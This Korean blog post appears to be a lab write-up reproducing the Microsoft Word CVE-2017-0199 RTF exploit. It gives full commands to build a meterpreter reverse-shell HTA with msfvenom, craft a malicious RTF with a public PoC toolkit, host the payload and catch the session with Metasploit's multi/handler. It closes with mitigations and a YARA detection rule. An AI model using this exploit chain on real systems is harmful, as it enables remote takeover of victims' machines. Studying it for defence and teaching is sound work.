[2] https://mh-nexus.de/en/hxd/
[3] https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py
[4] https://blog.didierstevens.com/2016/07/29/releasing-rtfdump-py/
[5] http://forensic-proof.com/archives/300
[6] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/
[7] https://github.com/houjingyi233/office-exploit-case-study/blob/master/CVE-2017-11882%26CVE-2018-0802%26CVE-2018-0798/cve-2018-0802%20poc%20with%20comments.rtf
[8] https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

+ Recent posts